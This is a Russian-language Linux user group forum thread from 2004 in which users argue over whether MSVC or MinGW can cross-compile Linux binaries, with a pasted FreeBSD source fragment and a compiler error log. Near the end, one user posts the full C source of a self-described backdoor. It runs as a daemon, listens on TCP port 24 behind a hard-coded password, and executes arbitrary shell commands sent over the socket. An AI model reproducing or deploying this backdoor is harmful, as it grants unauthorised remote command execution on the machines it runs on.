главная форум чат фотогалерея ресурсы новости календарь игротека поиск почта


Страницы: (53) 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 ...  Последняя » ( Перейти к первому непрочитанному сообщению ) ответить | новая тема | опрос

> LUG, (L)inux (U)ser (G)roup
shad
посетители



QUOTE (onehalf3554 @ 02.02.04 - 22:14)
2root я просто подумал что ты решил откомпилить PE-EXE под MSVC и запустить его под линухом:-)
Интересно прсто с каких пор BorlandC++ и MSVC компилируют elf формат?Или майкрософт решился таки на linux friendly cross компилятор ?:-))

onehalf, ты точно глючишь - MSVC7 умеет использовать внешний компилятор, и какая проблема прикрутить тот же mingw и компилировать в win приложения с target os = linux ?

И вот еще:

QUOTE
После компиляции любой PE экзешник фызывающий Win32 API пользуется Native API,


это точно глюк - поверх native api есть еще один слой, блин точное название не скажу - лень лезть на полку за книжкой. При наличии нужного слоя можно выполнять _любые_ приложения, например microsoft изначально делала библиотеки для выполнения os/2-приложений и для posix-приложений (т.е. unix-apps). Неужели никогда не слышал про Unix Services for Windows ?
03.02.04 - 06:39 #238358
shad
посетители



QUOTE (rооt @ 02.02.04 - 22:31)
есть пара вопросов по орагнизации клиент-серверного приложения...сервреная часть на с++ под линух, клиентская на VB .NET под Windows, хотя мож на VC++ .NET

расскажи, а то интересно :)
Как именно будут клиент с сервером общаться? через tcp-socket, corba или что-то еще?
03.02.04 - 06:42 #238359
shad
посетители



да, и в догонку http://www.activestate.com/Products/Visual_Perl/
Так что наверняка существует плагин для MSVS умеющий использовать gcc(mingw)
03.02.04 - 06:49 #238360
rооt
линуксоид
посетители



2 shad

tcp-socket, будет проходить идентификация между клиентским по и демоном на серваке, вобщем программка для полного manage`a сервака
03.02.04 - 06:55 #238362
onehalf3554
инквизитор
свои пацаны



QUOTE

это точно глюк - поверх native api есть еще один слой, блин точное название не скажу - лень лезть на полку за книжкой. При наличии нужного слоя можно выполнять _любые_ приложения, например microsoft изначально делала библиотеки для выполнения os/2-приложений и для posix-приложений (т.е. unix-apps). Неужели никогда не слышал про Unix Services for Windows ? 

:D :D :D :D :D :D :D :D :D :D :D :D :D


03.02.04 - 07:22 #238364
onehalf3554
инквизитор
свои пацаны



QUOTE

onehalf, ты точно глючишь - MSVC7 умеет использовать внешний компилятор, и какая проблема прикрутить тот же mingw и компилировать в win приложения с target os = linux ?

Ага я обычно когда модули ядра пишу всегда именно так и делаю:-))
устанавливаю MSVC7 для того чтобы пользоваться другим компилятором:-)))
QUOTE

MinGW ("Minimalistic GNU for Windows") refers to a set of runtime headers, used in building a compiler system based on the GNU GCC and binutils projects. It compiles and links code to be run on Win32 platforms... providing C, C++ and Fortran compilers plus other related tools.

MinGW компилирует код,запускающийся :
code to be run on Win32 platforms...
как насчет elf формата?
К томуж WinGW наверняка ущербный как насчет модулей ядра?:-)
03.02.04 - 08:43 #238369
onehalf3554
инквизитор
свои пацаны



[quote]
Cross-compiling refers to building applications for one platform, with development occuring on another platfrom (i.e. compiling MS-Windows executables from within a Linux environment, or vice-versa).
[/qoute]
Он умеет компилировать в Linuxe Win32 PE,про elf ничего не говориться:-))
03.02.04 - 08:46 #238370
onehalf3554
инквизитор
свои пацаны



атеперь хватит п%$&ежа!!!!!!!
QUOTE

#ifndef lint
#if 0
static const char sccsid[] = "@(#)pw_util.c 8.3 (Berkeley) 4/2/94";
#endif
static const char rcsid[] =
  "$FreeBSD: src/usr.sbin/vipw/pw_util.c,v 1.17.2.1 2000/07/20 10:35:27 kris Exp $";
#endif /* not lint */

/*
* This file is used by all the "password" programs; vipw(8), chpass(1),
* and passwd(1).
*/

#include <sys/param.h>
#include <sys/errno.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <err.h>
#include <fcntl.h>
#include <paths.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "pw_util.h"

char *username;
{
int pstat;
pid_t pid;

(void)fflush(stderr);
if (!(pid = fork())) {
  if(!username) {
  warnx("rebuilding the database...");
  execl(_PATH_PWD_MKDB, "pwd_mkdb", "-p", "-d", mppath,
      tempname, NULL);
  } else {
  warnx("updating the database...");
  execl(_PATH_PWD_MKDB, "pwd_mkdb", "-p", "-d", mppath,
      "-u", username, tempname, NULL);
  }
  pw_error(_PATH_PWD_MKDB, 1, 1);
}
pid = waitpid(pid, &pstat, 0);
if (pid == -1 || !WIFEXITED(pstat) || WEXITSTATUS(pstat) != 0)
  return (0);
warnx("done");
return (1);
}
main()
{
printf(username)
}

Откомпилируй в MSVC это чем хочешь:-))))
Можешь даже своим WinGW
Не сможешь разговор пустой и почвы не имеет.
03.02.04 - 09:56 #238394
shad
посетители



[QUOTE]
[quote]
Cross-compiling refers to building applications for one platform, with development occuring on another platfrom (i.e. compiling MS-Windows executables from within a Linux environment, or vice-versa).
[/qoute]
Он умеет компилировать в Linuxe Win32 PE,про elf ничего не говориться:-))
[/QUOTE]

обрати внимание на "or vice-versa".

И следи за выражениями.

[QUOTE]
Откомпилируй в MSVC это чем хочешь:-))))
Можешь даже своим WinGW
Не сможешь разговор пустой и почвы не имеет.
[/QUOTE]

Я кросс-компиляцией не занимаюсь.
Вот тебе ссылка где пошагово рассказано как скомпилировать ядро 2.4 из windows (правда с помощью cygwin, но это сути не меняет):
http://www.xraylith.wisc.edu/~khan/softwar...cross-howto.txt
03.02.04 - 10:30 #238411
shad
посетители



И вот, может пригодится: http://www.belgeler.org/autobook/autobook-...s-Compiler.html
03.02.04 - 10:33 #238412
onehalf3554
инквизитор
свои пацаны



2shad дык вот а я кросскомпиляцией занимался,она ничего общего покачто с MSVC,не имеет,
кроме всего прочего _ВСЕГДА_ возникает куча проблем и заниматься кросс компиляцией только для того чтобы откомпилировать ,из линуксовых исходников линуксовый же elf файл (заметь не Win32),как ты думаешь насколько это умно?????:-)))))))))))))
QUOTE

К томуж WinGW наверняка ущербный как насчет модулей ядра?:-)

если тебя оскорбило это извени,я на работу бежал забыл запятую влепить когда набирал должно быть так:
К томуж WinGW наверняка- ущербный, как насчет модулей ядра?:-)
Имелось ввиду ущербность WinGW.
Так как любой кросс компилятор гораздо ущербнее обычного,_всегда_ не учитывается куча специфических вещей.
03.02.04 - 12:18 #238451
onehalf3554
инквизитор
свои пацаны



[qoute]
Вот тебе ссылка где пошагово рассказано как скомпилировать ядро 2.4 из windows (правда с помощью cygwin, но это сути не меняет):
[/qoute]
А вот и меняет,речь шла именно о MSVC , Borland C++,BuilderX,ненужно вилять.
Мне приходилось кросс компилировать под Novell,
в Watcom ,я имею представление об этом геморрое.
03.02.04 - 13:55 #238522
onehalf3554
инквизитор
свои пацаны



2Shad вобщем или в MSVC либо ты либо Рут компилируете тот кусок кода что я дал,
там кстати Include подкорректировать надо чтобы компильнулось,
или признаете что MSVC НЕ_КРОСС компилятор.
Про кросс компиляцию можешь меня не грузить более 1.5 года стажа чистой кросскомпиляции .
03.02.04 - 14:01 #238529
rооt
линуксоид
посетители



мужики, а давайте поспорим, что gcc не кросс-платформен :)))))))))))))))

никакие minigw и прочее не смогли скомпилить эту программу :/ Я признаю отсутствие кроссплотформенности у MSVC. ниже листинг того что мне выдал minigw

CODE

g++ -c -o -g2 -O0 -MD -lusrinclude -lusrincludeg++-3 onehalf3554.cpp

onehalf3554.cpp:14:19: param.h: No such file or directory
onehalf3554.cpp:17:22: resource.h: No such file or directory
onehalf3554.cpp:18:18: stat.h: No such file or directory
onehalf3554.cpp:19:18: wait.h: No such file or directory
onehalf3554.cpp:21:17: err.h: No such file or directory
onehalf3554.cpp:23:19: paths.h: No such file or directory
onehalf3554.cpp:24:17: pwd.h: No such file or directory
onehalf3554.cpp:31:21: pw_util.h: No such file or directory
onehalf3554.cpp:34: parse error before `{' token
onehalf3554.cpp:38: parse error before `void'
onehalf3554.cpp:42: `_PATH_PWD_MKDB' was not declared in this scope
onehalf3554.cpp:42: `mppath' was not declared in this scope
onehalf3554.cpp:43: `tempname' was not declared in this scope
onehalf3554.cpp:43: ISO C++ forbids declaration of `execl' with no type
onehalf3554.cpp:43: `int execl' redeclared as different kind of symbol
../include/process.h:131: previous declaration of `int execl(const char*, const

  char*, ...)'
onehalf3554.cpp:43: initializer list being treated as compound expression
onehalf3554.cpp:44: parse error before `}' token
onehalf3554.cpp:46: `_PATH_PWD_MKDB' was not declared in this scope
onehalf3554.cpp:46: `mppath' was not declared in this scope
onehalf3554.cpp:47: `tempname' was not declared in this scope
onehalf3554.cpp:47: ISO C++ forbids declaration of `execl' with no type
onehalf3554.cpp:47: redefinition of `int execl'
onehalf3554.cpp:43: `int execl' previously defined here
onehalf3554.cpp:47: initializer list being treated as compound expression
onehalf3554.cpp:48: parse error before `}' token
onehalf3554.cpp:49: `_PATH_PWD_MKDB' was not declared in this scope
onehalf3554.cpp:49: ISO C++ forbids declaration of `pw_error' with no type
onehalf3554.cpp:49: initializer list being treated as compound expression
onehalf3554.cpp:50: parse error before `}' token
onehalf3554.cpp:51: ISO C++ forbids declaration of `pid' with no type
onehalf3554.cpp:51: redefinition of `int pid'
onehalf3554.cpp:36: `pid_t pid' previously declared here
onehalf3554.cpp:51: `pstat' was not declared in this scope
onehalf3554.cpp:51: `waitpid' was not declared in this scope
onehalf3554.cpp:52: parse error before `if'
onehalf3554.cpp:54: ISO C++ forbids declaration of `warnx' with no type
onehalf3554.cpp:54: invalid conversion from `const char*' to `int'
onehalf3554.cpp:55: parse error before `return'
onehalf3554.cpp: In function `int main()':
onehalf3554.cpp:60: parse error before `}' token
onehalf3554.cpp:60:2: warning: no newline at end of file
03.02.04 - 18:05 #238685
onehalf3554
инквизитор
свои пацаны



Ну конечно же надо подключить библиотеки:-)

param.h: No such file or directory
onehalf3554.cpp:17:22: resource.h: No such file or directory
onehalf3554.cpp:18:18: stat.h: No such file or directory
onehalf3554.cpp:19:18: wait.h: No such file or directory
onehalf3554.cpp:21:17: err.h: No such file or directory
onehalf3554.cpp:23:19: paths.h: No such file or directory
onehalf3554.cpp:24:17: pwd.h: No such file or directory
onehalf3554.cpp:31:21: pw_util.h: No such file or directory
которых нет и заголовочные файлы:-)
03.02.04 - 18:37 #238706
onehalf3554
инквизитор
свои пацаны



2root теперь ты понялд что такое кросс платформанное программирование?
Ладно упростим задачу,этот быкдорчик я писал минут 35,самое простое из того что можно откомпилировать:-)
QUOTE

//**********************************************************************
//*    This C++ file written by Chernckevich K.K.                    *
//*    homepage:http://onehalf.hotmail.ru                            *
//*    e_mail:onehalf3554@mail.ru                                    *
//**********************************************************************


#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/poll.h>
#include <dirent.h>

long filesize__(char *fname)
{
FILE *test;
long result;
if (bcmp(fname,"cdrom",5)==0^bcmp(fname,"floppy",6)==0)
{
  result=-1;
  goto Ext__1;
}
  test=fopen(fname,"r");
  if (test==NULL)
    {
      result=-1;
      goto Ext__;
      }
  fseek(test,0,SEEK_END);
  result=ftell(test);
  fseek(test,0,SEEK_SET);
  Ext__:
  fclose(test);
  Ext__1:
  return result;
}

void Sendcmd(char *cmd,FILE *cout)
{
fprintf(cout,cmd);
(void)fflush(cout);
}

int ConnListen(int port)
{
int Sock;
struct sockaddr_in sddr;
int cnt;
bzero(&sddr,sizeof(sddr));
sddr.sin_port=htons(port);
Sock=socket(AF_INET,SOCK_STREAM,0);
cnt=bind(Sock,(struct sockaddr *)&sddr,sizeof(sddr));
cnt=listen(Sock,1024);
cnt=accept(Sock,(struct sockaddr *)&sddr,(unsigned int *)sizeof(sddr));
shutdown (Sock,2);
close(Sock);
return cnt;
}


void main()
{
FILE *cin;
FILE *cout;
int st;
//int sz;
char Buffer[1024];
//int count;
dirent **dir__;
int dircount;
int i;
char result[400];
char snd[400];
daemon(1,0);
i=0;dircount=0;
st=ConnListen(24);
cin=fdopen(st,"r");
cout=fdopen(st,"w");

loc_2:
Sendcmd("[OK] Welcome [onehalf] to network daemon:rn",cout);

fgets(Buffer,1024,cin);
if (bcmp(Buffer,"AXZLVVFP121VB",13)==0)    //the password string is here:-)))
{
Sendcmd("YOU ARE CONNECTED[OK]:rn",cout);

loc_1:
Sendcmd("[shell]:",cout);
bzero(Buffer,sizeof(Buffer));
bzero(snd,sizeof(snd));
bzero(result,sizeof(result));
fgets(Buffer,1024,cin);
if (bcmp(Buffer,"DIR",3)==0)
{
  Sendcmd("Directory list [LS]:rn",cout);
      dircount=scandir(".",&dir__,0,alphasort);
        if (dircount<0)
        {
          Sendcmd("Error scaning directory but very sorry[ERROR]",cout);
        }
        else
        {
          while (dircount--)
          {
    bzero(result,sizeof(result));
    strcpy(result,"NAME[");
    strcat(result,dir__[dircount]->d_name);
          strcat(result,"]:");
    sprintf(snd,"[SIZE=%d",filesize__(dir__[dircount]->d_name));
    strcat(snd,"]");
    strcat(result,snd);
    Sendcmd(result,cout);
          Sendcmd("rn",cout);
          }   
        }
}

    if (bcmp(Buffer,"CD ",3)==0)
    {
      if (strlen(Buffer)>399)
      {
        Sendcmd("you command line is very long[ERROR]rn",cout);
      }
      else
{
      bzero(result,sizeof(result));
      for (i=3;i<=strlen(Buffer)-3;i++)
      {
      result[i-3]=Buffer[i];
      }
      i=chdir(result);
    if (i==0)
      {
        strcpy(snd,"Change directory is complete->CurDir[OK]:");
        strcat(snd,result);
        Sendcmd(snd,cout);
        Sendcmd("rn",cout);
      }
        else
      {
      strcpy(snd,"Error execute command CD directory not change:");
      strcat(snd,result);
      Sendcmd(snd,cout);
      Sendcmd("rn",cout);
      }
}
}

if (bcmp(Buffer,"SHELL ",6)==0)
{
FILE *type__;
char *rstr;
  Sendcmd("SHELL ready:[OK]rn",cout);
  bzero(result,sizeof(result));
  for(i=6;i<=strlen(Buffer)-3;i++)
  {
  result[i-6]=Buffer[i];
  }
  strcat(result," >lst.000");
  Sendcmd(result,cout);
  Sendcmd("rn",cout);
  system(result);
  bzero(snd,sizeof(snd));
  type__=fopen("lst.000","r");
  while (!feof(type__))
  {
  rstr=fgets(snd,sizeof(snd),type__);
  Sendcmd(snd,cout);
  }
  fclose(type__);
  unlink("lst.000");
  Sendcmd("End_of_transferrn",cout);


if (bcmp(Buffer,"SHUTDOWN",8)==0)
{ goto Exit_;
}

}
  else
{
goto loc_2;
}

goto loc_1;
Exit_:
  fclose(cout);
  fclose(cin);
  shutdown(st,2);
  close(st);
}
03.02.04 - 18:42 #238713
digger
заключенные



халф не спорь с детьми они ж ещё зелёные никада в исходниках ничего не искали, к примеру у меня файлик постоянно валил ядро .. дык нашёл что в исходниках 2.53 есть рассказ зачем это сделали .. в общем с юмором проблем не бывает
03.02.04 - 18:43 #238714
rооt
линуксоид
посетители



2 onehalf3554

библиотеки просто не исклв инете, если потратить n-ое время можно найти все нужные билиотеки
03.02.04 - 18:51 #238722
rооt
линуксоид
посетители



ну опять таки, нет некоторых библиотек у меня в комплекте и туева хуча ошибок, выдаваемая minigw :/
03.02.04 - 18:55 #238728
digger
заключенные



халф во как молодёжь зелёную разводишь .. дык энта молодёжь никада кодить не будет тока шкодить .. дык када вырастут такими ж и остануца ... ХА ХА ХА
03.02.04 - 19:48 #238755
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:

Topic OptionsСтраницы: (53) 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 ...  Последняя » ответить | новая тема | опрос